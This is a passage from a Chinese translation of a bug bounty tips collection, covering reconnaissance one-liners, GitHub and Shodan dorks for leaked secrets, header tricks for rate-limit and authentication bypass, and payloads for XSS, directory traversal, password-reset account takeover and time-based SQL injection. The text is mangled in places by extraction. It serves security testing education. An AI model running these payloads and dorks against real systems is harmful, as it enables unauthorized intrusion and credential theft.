./dirsearch.py -u target -e php,html,js,xml -x 500,403 2. 发现 http://url.com/.svn/ 3. 克隆隆 & 使⽤用 SVN-Extractor 4. 运⾏行行 ./svn-extractor.py --url http://url.com --match database.php 5. 结果在输出⽬目录下,只要打开它 当场起⻜飞! 验室制作翻译出品 下⾯面是我们需要的⼯工具清单。 https://github.com/maurosoria/dirsearch https://github.com/anantshri/svn-extractor 42. 从URI⽣生成内容发现词表 By @healthyoutlet Source: link 有⼀一个很有⽤用的⼯工具叫sprawl,⽤用来扩展URI路路径列列表,⽐比如从waybackurls或gau,并⽣生成⼀一个内容发 现词表。下⾯面是如何使⽤用它。 现在,我们可以使⽤用这个词表来发现我们的⽬目标上托管的其他端点。 这个⼯工具就在这⾥里里。 https://github.com/tehryanx/sprawl 43. 从APK⽂文件中提取端点 By @SalahHasoneh1 Source: link 另⼀一个有⽤用的分析Android APK⽂文件的⼯工具是由@delphit33制作的apkurlgrep。这个⼯工具可以从APK⽂文 件中提取URL,甚⾄至不不需要先解压。 从这⾥里里获取⼯工具 https://github.com/ndelphit/apkurlgrep 44. 找到更更多⼦子域的收集技巧(shodan)。 By @krizzsk Source: link echo '/1/dev/admin' | python3 sprawl/sprawl.py -s apkurlgrep -a path/to/file.apk 验室制作翻译出品 ⼤大公司往往会使⽤用⾃自⼰己的CDN(内容分发⽹网络),有些CDN是⽤用来服务内部静态⽂文件的,⽐比如javascript ⽂文件。 利利⽤用以下步骤,我们可以通过shodan搜索引擎找到更更多的内部⼦子域和多汁的javascript⽂文件。 1. 对CDN域名进⾏行行被动或主动枚举,如bigcompanycdn.com。 2. 不不管找到了了什什么⼦子域名,都要⽤用 "http.html"过滤器器在shodan上进⾏行行搜索。 3. 例例⼦子: 你发现 dev-int.bigcompanycdn.com。 shodan查询的结果是这样的 http.html:”dev-int.bigcompanycdn.com” http.html:”https://dev-int-bigcompanycdn.com” 45. 查找javascript⽂文件中隐藏的GET参数 By @chiraggupta8769 (@intigriti, @sratarun) Source: link 这⾥里里有⼀一个有趣的⼩小技巧,通过分析javascript⽂文件来寻找隐藏参数。 1. 搜集javascript⽂文件中的变量量名,例例如:1: var test = "xxx" 。 2. 尝试将每⼀一个都作为GET参数,以发现隐藏的参数,例例如:。 https://example.com/?test="xsstest 这往往会导致XSS! 原来,@sratarun做了了这个复杂的单⾏行行代码⽣生成器器,它可以找到所有的变量量名,并将其作为参数追加。 assetfinder example.com | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"; done 验室制作翻译出品 现在,我们可以测试所有这些URL,并检查我们是否可以⽤用它们触发XSS或类似的东⻄西。 从这⾥里里获取本技巧的所有⼯工具。 https://github.com/tomnomnom/assetfinder https://github.com/lc/gau 46. 通过GitHub dorks 收集敏敏感信息 验室制作翻译出品 By @D0cK3rG33k Source: link 这是10个有⽤用的GitHub dorks列列表,可以使⽤用⽂文件扩展名识别敏敏感信息。 1. extension:pem private 2. extension:ppk private 3. extension:sql mysql dump password 4. extension:json api.forecast.io 5. extension:json mongolab.com 6. extension:yaml mongolab.com 7. extension:ica [WFClient] Password= 8. extension:avastlic “support.avast.com” 9. extension:js jsforce conn.login 10. extension:json googleusercontent client_secret 通过这些GitHub dorks,我们可以识别诸如证书私钥、puttygen私钥、带有密码的MySQL转储、API密 钥和秘密、json或yaml配置中的MongoDB凭证、访问Google API的OAuth凭证以及类似的敏敏感数据。 提示:也可以查看以下GitHub的dorks库,其维护者是 @techgaun: https://github.com/techgaun/github-dorks 47. 通过添加X- HTTP头⽂文件绕过速率限制。 By @Cyb3rs3curi_ty Source: link 这⾥里里有⼀一个⼩小窍⻔门,可以绕过速率限制的负载均衡器器,代理理和WAF,在我们的⽬目标途中的某个地⽅方之 间。 在你的请求中添加以下HTTP头。 X-Originating-IP: IP X-Forwarded-For: IP X-Remote-IP: IP X-Remote-Addr: IP X-Client-IP: IP X-Host: IP X-Forwared-Host: IP 这些头信息通常被负载均衡器器或代理理服务器器等中间组件使⽤用,通过在这些HTTP头信息中添加任意的内部 IP地址,我们实际上可能会绕过强制的速率限制。 ⽤用以下范围的IP地址试试。 192.168.0.0/16 172.16.0.0/12 127.0.0.0/8 10.0.0.0/8 ⼀一旦我们再次遇到堵塞,只需增加提供的IP地址即可。 验室制作翻译出品 这个⼩小技巧可能不不⼀一定有效,但当事情变得困难时,绝对值得⼀一试。 48. Top 25 服务器器端请求伪造(SSRF)参数 By @trbughunters Source: link 以下是可能存在服务器器端请求伪造(SSRF)漏漏洞洞的25⼤大参数。 下次在URL中遇到这样的参数时,要引起注意,因为SSRF是⼀一个关键的漏漏洞洞,可能会让你。 在远程服务器器的环回接⼝口上访问服务。 扫描内部⽹网络并与内部服务进⾏行行潜在的交互。 使⽤用file://协议处理理程序读取服务器器上的本地⽂文件。 横向移动/转⼊入内部环境。 49. 敏敏感数据泄漏漏使⽤用.json By @SalahHasoneh1 Source: link 这⾥里里有⼀一个使⽤用.json扩展名实现敏敏感数据泄露露的技巧。 ?dest={target} ?redirect={target} ?uri={target} ?path={target} ?continue={target} ?url={target} ?window={target} ?next={target} ?data={target} ?reference={target} ?site={target} ?html={target} ?val={target} ?validate={target} ?domain={target} ?callback={target} ?return={target} ?page={target} ?feed={target} ?host={target} ?port={target} ?to={target} ?out={target} ?view={target} ?dir={target} 验室制作翻译出品 Request: GET /ResetPassword HTTP/1.1{"email":"[email protected]"} Response: HTTP/1.1 200 OK 现在让我们试试这个。 Request: GET /ResetPassword.json HTTP/1.1{"email":"[email protected]"} Response: HTTP/1.1 200 OK{"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a- edc8a"} 请注意在我们的请求中添加了了.json扩展名,从⽽而获得了了秘密令牌! 50. 使⽤用httpx实现HTTP⾃自动化 By @pdnuclei Source: link 你知道吗,你可以使⽤用https⼯工具来请求任何URL路路径,并且可以随时查看状态码和⻓长度以及其他细节, 进⾏行行过滤,甚⾄至对它们进⾏行行精确匹配。 这⾥里里有⼀一个例例⼦子。 cat domains.txt | httpx -path /swagger-api/ -status-code -content-length 验室制作翻译出品 ⾮非常有⽤用,从这⾥里里获取最新版本。 https://github.com/projectdiscovery/httpx/releases 51. 使⽤用 Shodan dorks信息收集 By @manas_hunter Source: link 下⾯面就为⼤大家盘点7个厉害的SHODAN dorks,让⼤大家轻松信息收集。 1. “default password” org:orgName 2. “230 login successful” port:21 org:orgName 3. vsftpd 2.3.4 port:21 org:orgName 4. 230 ‘anonymous@’ login ok org:orgName 5. guest login ok org:orgName 6. country:EU port 21 -530 +230 org:orgName 7. country:IN port:80 title:protected org:orgName 通过这些Shodan dorks,我们正在寻找与FTP相关的访问凭证和凭证,也许是在⽹网上或其他地⽅方暴暴露露的 ⽇日志⽂文件中,也可能是⽬目标组织相关的管理理控制台等受保护区域。 52. 如何发现认证绕过漏漏洞洞 By @jae_hak99 Source: link 验室制作翻译出品 这是⼀一个有趣的提示,可以帮助你找到认证绕过漏漏洞洞。 Request: GET /delete?user=test HTTP/1.1 Response: HTTP/1.1 401 Unauthorized 现在让我们试试这个。 Request: GET /delete?user=test HTTP/1.1X-Custom-IP-Authorization: 127.0.0.1 Response: HTTP/1.1 302 Found 当前端使⽤用添加的⾃自定义HTTP头(X-Custom-IP-Authorization)时,这可能会起作⽤用--例例如,当它被⽤用来 识别通过负载均衡器器连接到Web服务器器的客户端的原始IP地址时。 通过识别⾃自⼰己是127.0.0.1,我们可能会规避Web应⽤用程序的访问控制,并执⾏行行特权操作。 53. 简单的ffuf bash单⾏行行命令 By @naglinagli Source: link 这⾥里里有⼀一个由@naglinagli制作的有⽤用的bash函数单⾏行行本,可以解决你所有的⽬目录搜索需求。只需将其添 加到你的 ~/.bashrc: 同时确保你有最新的https://github.com/danielmiessler/SecLists,并在上⾯面的函数中使⽤用正确的路路 径。 现在你可以像这样轻松地对你的⽬目标域进⾏行行递归⽬目录搜索(dirbusting)。 在'SecLists/Discovery/Web-Content/'⽬目录下的任何⼀一个wordlist中使⽤用这个。下⾯面是⼀一个使 ⽤用'tomcat.txt'wordlist的例例⼦子。 ffufr() { ffuf -c -w "/path/to/SecLists/Discovery/Web-Content/$1" -u "$2/FUZZ" - recursion } ffufr WORDLISTNAME.txt DOMAIN.com 验室制作翻译出品 以下是本技巧所需的全部内容。 https://github.com/ffuf/ffuf https://github.com/danielmiessler/SecLists 54. 使⽤用ffuf 和 gau发现access tokens By @Haoneses Source: link 这⾥里里还有⼀一个有⽤用的bug赏⾦金金提示,涉及到ffuf,也涉及到gau。这可以帮助你找到各种服务API的访问令 牌。 1. 收集你的⽬目标的所有链接: cat hosts | sed 's/https\?:\/\///' | gau > urls.txt 2. 过滤掉javascript URL: cat urls.txt | grep -P "\w+\.js(\?|$)" | sort -u > jsurls.txt 3. 使⽤用ffuf只获取有效的链接,并将其直接发送到Burp中。: 验室制作翻译出品 ffuf -mc 200 w jsurls.txt:HFUZZ -u HFUZZ -replay-proxy http://127.0.0.1:8080 4. 使⽤用Scan Check Builder Burp扩展,添加被动配置⽂文件提取 "accessToken "或 "access_token"。 5. 在Burp中对这些javascript链接运⾏行行被动扫描。 6. 提取发现的令牌,并在报告前对其进⾏行行验证。 附加。如何验证发现的访问令牌?使⽤用KeyHacks来识别特定的API密钥,如何使⽤用它们以及如何检查它 们是否有效。 提示。确保也尝试提取其他⽂文件类型,如.php、.json等。(第⼆二步)。 以下是本技巧所需的全部内容。 https://github.com/lc/gau https://github.com/ffuf/ffuf https://github.com/streaak/keyhacks 55. 使⽤用GitHub dorks发现secrets By @impratikdabhi Source: link 这⾥里里列列出了了10个GitHub dorks寻找secrets和access_token。 1. “target.com” send_keys 2. “target.com” password 3. “target.com” api_key 4. “target.com” apikey 5. “target.com” jira_password 6. “target.com” root_password 7. “target.com” access_token 8. “target.com” config 9. “target.com” client_secret 10. “target.com” user auth 有了了这些GitHub dorks,我们就可以识别各种secrets。和前⾯面的提示⼀一样,使⽤用KeyHacks来识别和验 证发现的secrets。 56. 使⽤用⾕谷歌缓存查找敏敏感数据 By @pry0cc Source: link 以下是@pry0cc如何通过⾕谷歌缓存找到他的⼀一个⽬目标的证书。 ⾕谷歌对⽬目标⽹网站进⾏行行了了dorked。 发现打开的HTTP⽬目录。 导航到那⾥里里--它被打了了补丁。 查看Google缓存,错误⽇日志路路径被暴暴露露。 复制相同的路路径到⽹网站的/,下载了了300 MB的⽹网⻚页错误⽇日志。 解析错误⽇日志,发现明⽂文的凭证。 瞬间就起⻜飞! 验室制作翻译出品 这就是为什什么总是进⾏行行彻底的OSINT分析是⾄至关重要的。在这种情况下,@pry0cc将永远⽆无法列列举它, 也⽆无法通过强制⼿手段找到它。它就在那⾥里里,⼀一瞬间,就被google索引了了。 57. 找出更更多IDOR漏漏洞洞的窍⻔门 By @m4ll0k2 Source: link 这⾥里里有⼀一个整洁的技巧,可以让你找到更更多的IDOR漏漏洞洞。 假设你发现了了以下端点。 现在对它进⾏行行⼀一些模糊处理理(/api/getUser$FUZZ$)。你有可能会发现其他的端点,⽐比如这些。 这些新(旧)端点有可能是不不同的,并且有可能受到IDOR的影响。 如果你想知道什什么是IDOR漏漏洞洞 - 它代表 "不不安全的直接对象引⽤用",它允许你访问、编辑或删除属于其他 ⽤用户的信息。 这通常是通过任意改变(猜测或递增)值来实现的,如。 id uid Pid Name 如果Web应⽤用程序没有正确验证访问权限,你可能会访问其他⽤用户的数据。IDORs是关键的漏漏洞洞,所以 绝对值得特别注意。 提示。使⽤用以下词表来识别不不同的终端版本(与ffuf或Burp Intruder⼀一起使⽤用)。 https://github.com/InfosecMatter/Wordlists/blob/master/version-fuzz.txt 58. 有效的电⼦子邮件地址与恶意的有效payloads By @Haoneses Source: link 在测试带有电⼦子邮件地址字段的⽹网络应⽤用时,⼀一个不不太为⼈人所知的攻击向量量是使⽤用电⼦子邮件地址的注释 部分。这是RFC822规范中定义的电⼦子邮件地址的⼀一个功能。 这意味着我们可以提供⼀一个任意的注释作为电⼦子邮件地址的⼀一部分,它仍然是⼀一个完全有效的电⼦子邮件 地址。下⾯面是它的样⼦子。 “payload”@domain.com name@”payload”domain.com /api/getUser /api/getUserV1 /api/getUserV2 /api/getUserBeta 验室制作翻译出品 name(payload)@domain.com name@(payload)domain.com [email protected](payload) 这些都是有效的电⼦子邮件地址(你可以在电⼦子邮件地址验证器器中检查它们,例例如这⾥里里)。[...] 提示。查阅这个bug赏⾦金金提示,了了解⼀一些良好的有效payloads实例例。 59. ⽤用gf搜索有趣的参数 By @HackersOnDemand Source: link 你是否有⼤大量量从其他⼯工具输出的URL列列表? 使⽤用gf⼯工具(由@tomnomnom制作)来搜索有趣的参数,有可能受到开放重定向、SSRF等的影响。 现在我们可以关注这些URL,并详细测试它们的开放重定向漏漏洞洞。 请注意,对于这个提示,你将需要额外的gf模式(由@1ndianl33t制作),你可以从这⾥里里获得。 https://github.com/1ndianl33t/Gf-Patterns 确保将所有这些.json⽂文件复制到你的~/.gf/⽬目录下,这样gf就能找到它们。 提示。同时,你还可以使⽤用gf-secrets模式(由@dwiswant0制作),它可以识别各种API密钥、秘密和 访问令牌。 https://github.com/dwisiswant0/gf-secrets 60.以图像⽂文件名作为XSS有效payloads By @h4x0r_dz Source: link 如果你发现⼀一个图⽚片的⽂文件上传功能,可以尝试在⽂文件名中引⼊入⼀一个带有XSS(跨站脚本)有效 payloads的图⽚片,⽐比如这样。 cat url-list.txt | gf redirects <img src=x onerror=alert('XSS')>.png "><img src=x onerror=alert('XSS')>.png "><svg onmouseover=alert(1)>.svg <<script>alert('xss')<!--a-->a.png 验室制作翻译出品 请注意,这可能只在基于UNIX的系统上⼯工作,因为Windows不不接受特殊字符作为⽂文件名。然⽽而,作为⼀一 种反射的XSS,它应该普遍适⽤用。 61. 在Android应⽤用中打开任意URL By @mem3hack Source: link 寻找⼀一种简单的⽅方法来打开Android应⽤用中的任意URL? 1. 下载jadx反编译器器并安装adb。 2. 打开AndroidManifest.xml 3. 查找所有浏览器器活动(必须包含 <category andoid:name="android.intent.category.BROWSABLE"/> )。 为每个活动(或您的任何域)运⾏行行" adb shell am start -n app_package_name/component_name -a android.intent.action.view -d google.com "。 同时在Burp中跟踪任何对google.com或你的域名的请求。 4. 如果⼀一个域名被打开,这意味着你发现了了⼀一个漏漏洞洞! 现在检查请求是否包含任何auth令牌(如果是, 说明你的账户被接管了了!)。没有?尝试不不同的技术来获取任何PII。在最坏的情况下,如果你能在 ⼀一个应⽤用程序中打开任意链接,你会得到像XSS⼀一样的奖励。 请注意,我们可以使⽤用apktool来代替jadx反编译器器,它有更更好的能⼒力力从APK中解码 AndroidManifest.xml⽂文件。 如果你使⽤用的是Kali Linux,最简单的⽅方法就是使⽤用apt.apktool来获取所有必要的程序。 62. ⽬目录遍历有效payloads By @manas_hunter Source: link 这⾥里里有⼀一个有趣的列列表,列列出了了7个不不常⻅见的⽬目录遍历有效载荷,可以轻松地赢得⼀一些赏⾦金金。 1. \..\WINDOWS\win.ini 2. ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\ 3. .?\.?\.?\etc\passwd 4. ../../boot.ini 5. %0a/bin/cat%20/etc/passwd 6. \\'/bin/cat%20/etc/passwd\\' 7. ..%c1%afetc%c1%afpasswd 这个列列表包含了了基于Windows和UNIX操作系统的有效载荷。在有效payloads 2、5和6中,我们甚⾄至可 以找到RCE(远程代码/命令执⾏行行)漏漏洞洞。 63. ⽤用gf查找开放的重定向漏漏洞洞 apt-get -y install adb jadx apktool 验室制作翻译出品 By @ofjaaah Source: link 这⾥里里有⼀一个很酷的单⾏行行本,可以帮助你找到开放的重定向漏漏洞洞。你需要的只是提供⽬目标域名。 这就是该命令的详细作⽤用。 1. 从Wayback Machine中收集⽬目标域名的所有URL。 2. 尝试在100个并⾏行行线程中快速下载所有的URL,以确定存活URL。 3. 对于所有存活中的URL,匹配任何潜在的易易受攻击的参数来打开重定向。 4. 只打印出唯⼀一的、潜在的易易受攻击的URL。 为了了让这个组合发挥作⽤用,我们必须安装以下⼯工具,⾮非常有⽤用,不不仅仅是为了了赏⾦金金计划。 https://github.com/tomnomnom/waybackurls https://github.com/projectdiscovery/httpx https://github.com/tomnomnom/gf https://github.com/1ndianl33t/Gf-Patterns (redirect gf patterns) https://github.com/tomnomnom/anew 64. 了了解⽹网站⽤用的哪些技术 By @akita_zen Source: link 这是另⼀一个⾮非常酷的单⾏行行本。这个可以帮助识别某个⽹网站(或⽹网站列列表)是⽤用什什么技术建⽴立的。 它使⽤用Wappalyzer的API,你需要提供的只是⼀一个像这样的URL列列表。 echo "http://tesla.com" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew 验室制作翻译出品 该命令将产⽣生50个并⾏行行实例例,以快速处理理所有提供的URL,并以最快的速度给我们提供结果。 相当整洁,信息量量⼤大! 需要注意的是,为了了使这个⼯工作,我们必须安装parallel实⽤用程序和wappylyzer。 65. 使⽤用Axiom进⾏行行批量量扫描 By @stokfredrik Source: link 你知道@pry0cc制作的⼯工具Axiom吗?Axiom是⼀一个⽤用shell编写的动态基础设施⼯工具包,适⽤用于红⾊色团 队和bug赏⾦金金猎⼈人。 这⾥里里有⼀一个bug赏⾦金金的⼩小技巧,以它为例例,演示⼀一下你能⽤用它做什什么。 cat urls-alive.txt | parallel -j 50 "echo {}; python3 main.py analyze --url {}" apt-get -y install parallel git clone https://github.com/vincd/wappylyzer.git cd wappylyzer virtualenv venv source venv/bin/activate pip install -r requirements.txt 验室制作翻译出品 为了了使Axiom⼯工作,你必须有⼀一个DigitalOcean API Key(推荐链接)。 什什么是DigitalOcean? DigitalOcean是⼀一个云平台,允许你快速部署虚拟机、Kubernetes集群、数据库、存储空间和其他东 ⻄西。它被Axiom⽤用来快速部署基础设施,根据你的需求。 有了了Axiom,你可以⽤用最⼩小的成本快速扩展你的⼏几乎所有的pentesting活动。 在这⾥里里获取Axiom。 https://github.com/pry0cc/axiom 66. 添加%20进⼊入管理理⾯面板的技巧 By @SalahHasoneh1 Source: link 这⾥里里有⼀一个快速的提示,可以通过篡改URI和添加额外的空格(%20)来帮助访问受限制的区域。 target.com/admin –> HTTP 302 (redirect to login page) target.com/admin%20/ -> HTTP 200 OK target.com/%20admin%20/ -> HTTP 200 OK target.com/admin%20/page -> HTTP 200 OK 笔者通过这⼀一招,找到了了Broken Authentication和Session Management的问题,并在⽬目标Web应⽤用程 序中访问了了⼀一个管理理⾯面板。后端Web服务器器是Apache HTTP服务器器,但这也可以在其他地⽅方⼯工作。 提示。还请查阅以前发表的与此⾮非常相似的技巧(BBT4-5,BBT4-6)。 67. ⾮非标准端⼝口的⽹网络服务器器(shodan) By @s0md3v Source: link 在shodan中使⽤用下⾯面的查询⽅方式来查找公司运⾏行行在 "⾮非标准 "端⼝口的HTTP服务器器。 在这个查询中,我们要找的是运⾏行行在80、443或8080以外端⼝口的⽹网络服务器器。 #!/bin/bash # Spin up 15 droplets, use the IPs provided, split and upload it to the # fleet, run massscan, sort, then nmap valid targets. When done, scp # download files from droplets, generate report and delete the fleet. axiom-fleet -i=15 -t=2 axiom-scan "uber*" --rate=10000 -p443 --banners -iL=uberips.txt - o=massscanuber.txt cat massscanuber.txt | awk '{print $2}' | sort -u >>uberalive.txt axiom-scan "uber*" -iL=uberalive.txt -p443 -sV -sC -T4 -m=nmapx -o=output axiom-rm "uber*" -f HTTP ASN:<这⾥里里> -port:80,443,8080 验室制作翻译出品 什什么是ASN部分? ASN是Autonomous System Number的缩写,它是⼀一个全球唯⼀一的编号,⽤用于识别由单⼀一实体(如⽹网络 运营商、CDN、⼤大型互联⽹网公司等)控制的⼤大型可公开路路由⽹网络集群。 Facebook、Google等⼤大公司都为其⼤大型⽹网络分配了了ASN,甚⾄至是多个ASN。 更更多关于ASN的信息可以在维基百科等⽹网站上找到。 如果要查询某个公司的ASN,我们可以使⽤用Amass这样的⽅方式。 Amass通常会找到所有相关的ASN,但我们可以随时挖掘更更多,例例如这⾥里里。 https://www.ultratools.com/tools/asnInfo https://hackertarget.com/as-ip-lookup/ ftp://ftp.arin.net/info/asn.txt 要验证你的ASN是否正确,只需使⽤用whois⼯工具来确保他们真的属于你的⽬目标。 68. 使⽤用Shodan和Nuclei引擎进⾏行行指纹识别。 By @ofjaaah Source: link 这⾥里里有⼀一些使⽤用Shodan和Nuclei扫描引擎的强⼤大指纹技巧。 这就是该命令的详细作⽤用。 1. 从Shodan获取我们⽬目标域名的DNS数据。 2. 从DNS数据中提取IP地址和FQDNs(主机名)列列表。 3. HTTP下载全部 4. 在所有找到的⽹网络服务器器上运⾏行行Nuclei扫描仪。 Nuclei扫描仪提供了了⾮非常强⼤大的指纹功能,甚⾄至可以通过检测错误配置、暴暴露露的管理理⾯面板、敏敏感⽂文件、 API密钥和令牌,甚⾄至检测未打补丁的CVE,让你轻松赚钱。 amass intel -org "Netflix" whois AS2906 whois AS40027 ... shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /home/ofjaaah/PENTESTER/nuclei-templates/ 验室制作翻译出品 这⾥里里是获取这个提示所需的所有材料料的地⽅方。 https://github.com/achillean/shodan-python https://github.com/projectdiscovery/nuclei https://github.com/projectdiscovery/nuclei-templates https://github.com/projectdiscovery/httpx 69. 从任何域名⽣生成⾃自定义词表 By @hakluke Source: link 你需要为你的⽬目标⽣生成⼀一个词表吗?这⾥里里有⼀一个很酷的单⾏行行命令,只需要提供⽬目标域名就可以做到。 这就是该命令的详细操作。 # Mac OS echo "bugcrowd.com" | subfinder -silent | hakrawler -plain -usewayback -scope yolo | sed $'s/[:./?=&#:]/\\n/g' | anew # Linux echo "bugcrowd.com" | subfinder -silent | hakrawler -plain -usewayback -scope yolo | sed $'s/[./?=:&#]/\\n/g' | anew 验室制作翻译出品 查找⽬目标域名的所有⼦子域。 从公共来源收集所有已确定的⼦子域的URL(+其他相关链接/URL)。 将每⼀一个URL/链接分解成单独,产⽣生关键词 只打印出唯⼀一的关键词 提示。有时你可能想在sed命令中加⼊入额外的字符(如破折号、下划线等),以进⼀一步分解URL,产⽣生更更 好的关键词。 这就是你需要的所有内容。 https://github.com/projectdiscovery/subfinder https://github.com/hakluke/hakrawler https://github.com/tomnomnom/anew 70. 通过reset token信息泄露露来接管账户(Burp) By @hakluke Source: link 现在,这是⼀一个⾮非常酷的技巧,在测试Web应⽤用时可以尝试⼀一下。 在浏览器器中设置Burp1 在浏览器器1中进⾏行行密码重置请求 在浏览器器2中打开密码重置邮件(不不含Burp),并复制令牌。 搜索你的Burp历史记录(浏览器器1)寻找令牌。如果有的话,你就可以轻松接管账户了了! 详细解释。如果你在浏览器器1的会话历史记录中找到了了令牌,这意味着有时在密码重置⾏行行动中,令牌被发 送到了了浏览器器1。 验室制作翻译出品 所以,这意味着你真的不不需要阅读邮件来重置密码! 这意味着你可以请求重置任何账户,并且由于令牌是 公开的,你可以在不不进⼊入受害者邮箱的情况下重置密码!这意味着你可以在任何账户中重置密码。 71. Top 20+ ⽤用于⾃自动化赏⾦金金的Burp extensions By @harshbothra_ Source: link 以下是@harshbothra_收集到的24个Burp扩展名,对找赏⾦金金有⽤用。 1. Autorize – To test BACs (Broken Access Control) 2. Burp Bounty – Profile-based scanner 3. Active Scan++ – Add more power to Burp’s Active Scanner 4. AuthMatrix – Authorization/PrivEsc checks 5. Broken Link Hijacking – For BLH (Broken Link Hijacking) 6. Collaborator Everywhere – Pingback/SSRF (Server-Side Request Forgery) 7. Command Injection Attacker 8. Content-Type Converter – Trying to bypass certain restrictions by changing Content-Type 9. Decoder Improved – More decoder features 10. Freddy – Deserialization 11. Flow – Better HTTP history 12. Hackvertor – Handy type conversion 13. HTTP Request Smuggler 14. Hunt – Potential vuln identifier 15. InQL – GraphQL Introspection testing 16. J2EE Scan – Scanning J2EE apps 17. JSON/JS Beautifier 18. JSON Web Token Attacker 19. ParamMiner – Mine hidden parameters 20. Reflected File Download Checker 21. Reflected Parameter – Potential reflection 22. SAML Raider – SAML testing 23. Upload Scanner – File upload tester 24. Web Cache Deception Scanner 所有这些扩展都可以在 BApp Store 的 Extender 标签下找到。其中⼀一些是专业扩展,需要授权Burp Suite。其中⼀一些还需要安装Jython。 下⾯面是如何在Burp中安装Jython。 1. ⾃自⼰己从这⾥里里下载最新的Jython安装程序并安装。 java -jar jython-installer-2.7.2.jar 2. 提供Burp的路路径。 进⼊入Extender选项卡 -> Options⼦子选项卡。 在Java环境部分 加载库JAR⽂文件的⽂文件夹(可选): /home/user/burp/addons 。 在Python环境部分 Jython独⽴立JAR⽂文件的位置。 /home/user/jython2.7.2/jython.jar 。 验室制作翻译出品 加载模块的⽂文件夹(可选): /home/user/burp/addons 。 现在我们应该可以安装所有这24个Burp扩展。 72. 含有敏敏感信息的Phpinfo() By @sw33tLie Source: link 如果你发现了了phpinfo(),别忘了了看看它! 有时你会发现⼀一些有意思的东⻄西,⽐比如包含秘钥的环境变量量。 有时你也可以找到数据库密码和其他敏敏感信息。 73. ⽤用Amass追踪攻击⾯面 By @Jhaddix Source: link 这⾥里里有⼀一个有⽤用的提示,告诉你如何管理理你的⽬目标攻击⾯面并跟踪新的资产发现。 运⾏行行所有的⼦子域⼯工具 Uniq去重他们 将它们插⼊入到amass数据库中。 然后,你可以通过跟踪每天的新发现。 你也可以设置⼀一个webhook,通过Slack获得通知,让事情⾃自动化。 在这⾥里里获取Amass。 https://github.com/OWASP/Amass amass enum -d domain.com -nf domains.txt amass track -d domain.com | grep "Found" 验室制作翻译出品 74. 在密码重置中使⽤用⼆二级邮箱接管账户 By @infosecsanyam Source: link 这个提示可以通过向Web应⽤用程序的密码重置功能提供额外的辅助电⼦子邮件来帮助寻找账户接管漏漏洞洞。 尝试以下有效payloads。 双参数(也就是HPP/HTTP参数污染)。 [email protected]&[email protected] 拷⻉贝转码: [email protected]%0a%0dcc:[email protected] 使⽤用分隔器器: [email protected],[email protected][email protected]%[email protected] [email protected]|[email protected] 没有域名: email=victim 没有顶级域名(Top Level Domain): email=victim@xyz JSON表: {"email":["[email protected]","[email protected]"]} ⽹网络应⽤用有可能会接受第⼆二个电⼦子邮件地址([email protected]),并因此向两个电⼦子邮件发送重置链接。 75. 绕过电⼦子邮件过滤器器,导致SQL注⼊入(JSON)。 By @HackENews Source: link 这⾥里里还有⼀一个⼩小技巧,对密码重置功能的测试很有帮助。 利利⽤用以下⾮非典型电⼦子邮件地址格式的有效载荷示例例,笔者能够在Web应⽤用程序中发现SQL注⼊入。 GET /passwordreset 验室制作翻译出品 Payload Result Injection Status Description {“email”:”[email protected]”} {“code”:2002,”status”:200,”message”:”Email not found.”} Valid {“email”:”asd [email protected]”} {“code”:2002,”status”:200,”message”:”Bad format”} Not Valid {“email”:”\”asd a\”@a.com”} {“code”:2002,”status”:200,”message”:”Bad format”} Not Valid {“email”:”asd(a)@a.com”} {“code”:2002,”status”:200,”message”:”Bad format”} Not Valid {“email”:”\”asd(a)\”@a.com”} {“code”:2002,”status”:200,”message”:”Email not found.”} Valid {“email”:”asd’[email protected]”} {“code”:0,”status”:500,”message”:”Unspecified error”} Not Valid {“email”:”asd’or’1’=’[email protected]”} {“code”:2002,”status”:200,”message”:”Email not found.”} Valid {“email”:”a’-IF(LENGTH(database())>9,SLEEP(7),0)or’1’=’1 @a.com”} {“code”:2002,”status”:200,”message”:”Bad format”} Not Valid {“email”:”\”a’- IF(LENGTH(database())>9,SLEEP(7),0)or’1’=’1\”@a.com”} {“code”:0,”status”:200,”message”:”Successful”} Valid Delay: 7,854 milis {“email”:”\”a’- IF(LENGTH(database())=10,SLEEP(7),0)or’1’=’1\”@a.com”} {“code”:0,”status”:200,”message”:”Successful”} Valid Delay: 8,696 milis {“email”:”\”a’- IF(LENGTH(database())=11,SLEEP(7),0)or’1’=’1\”@a.com”} {“code”:0,”status”:200,”message”:”Successful”} Valid No delay 在这个例例⼦子中,笔者能够确定数据库名称⻓长度为10个字符,作为概念验证。通过Sqlmap⾃自动化, 就可以根据数据库后台的情况,将整个数据库转储,甚⾄至实现RCE,得到⼀一个shell。 注意,SQL注⼊入是通过在at(@)字符前加引号(")来触发的,这⾥里里。 "injection_here"@example.com. 带引号的电⼦子邮件地址是有效的电⼦子邮件地址,参⻅见RFC3696中的限制电⼦子邮件地址。 另请参⻅见相关提示BBT2-8和BBT5-11,同样使⽤用⾮非典型的电⼦子邮件地址格式。 76. ⽤用于识别 SQL 注⼊入的⼯工具 100%。 By @HackENews Source: link 如果有的话,这就是100%发现SQL注⼊入的⽅方法。 验室制作翻译出品 使⽤用这些模式,例例如: http://target.com/?q=HERE 77. 在在线沙箱数据库中测试您的SQL注⼊入。 By @hackerscrolls Source: link 你是否发现了了⼀一个困难的SQL注⼊入,并想在真实的DB上调试它?但你没有时间启动真实的DB实例例? 使⽤用下⾯面的⽹网站来检查不不同DB中的语法和可⽤用的SQL命令。 SQL Fiddle(sqlfiddle.com) DB Fiddle (db-fiddle.com) EverSQL(eversql.com) 所有这些⽹网站都提供了了⼀一个在线沙箱数据库,⽤用于测试SQL查询。下⾯面是每个⽹网站上都有哪些数据库。 SQL Fiddle supports: Oracle SQLite MySQL PostgreSQL MS SQL Server 2017 DB Fiddle supports: MySQL SQLite PostgreSQL (multiple versions) EverSQL supports: Oracle MySQL /?q=1 /?q=1' /?q=1" /?q=[1] /?q[]=1 /?q=1` /?q=1\ /?q=1/*'*/ /?q=1/*!1111'*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' 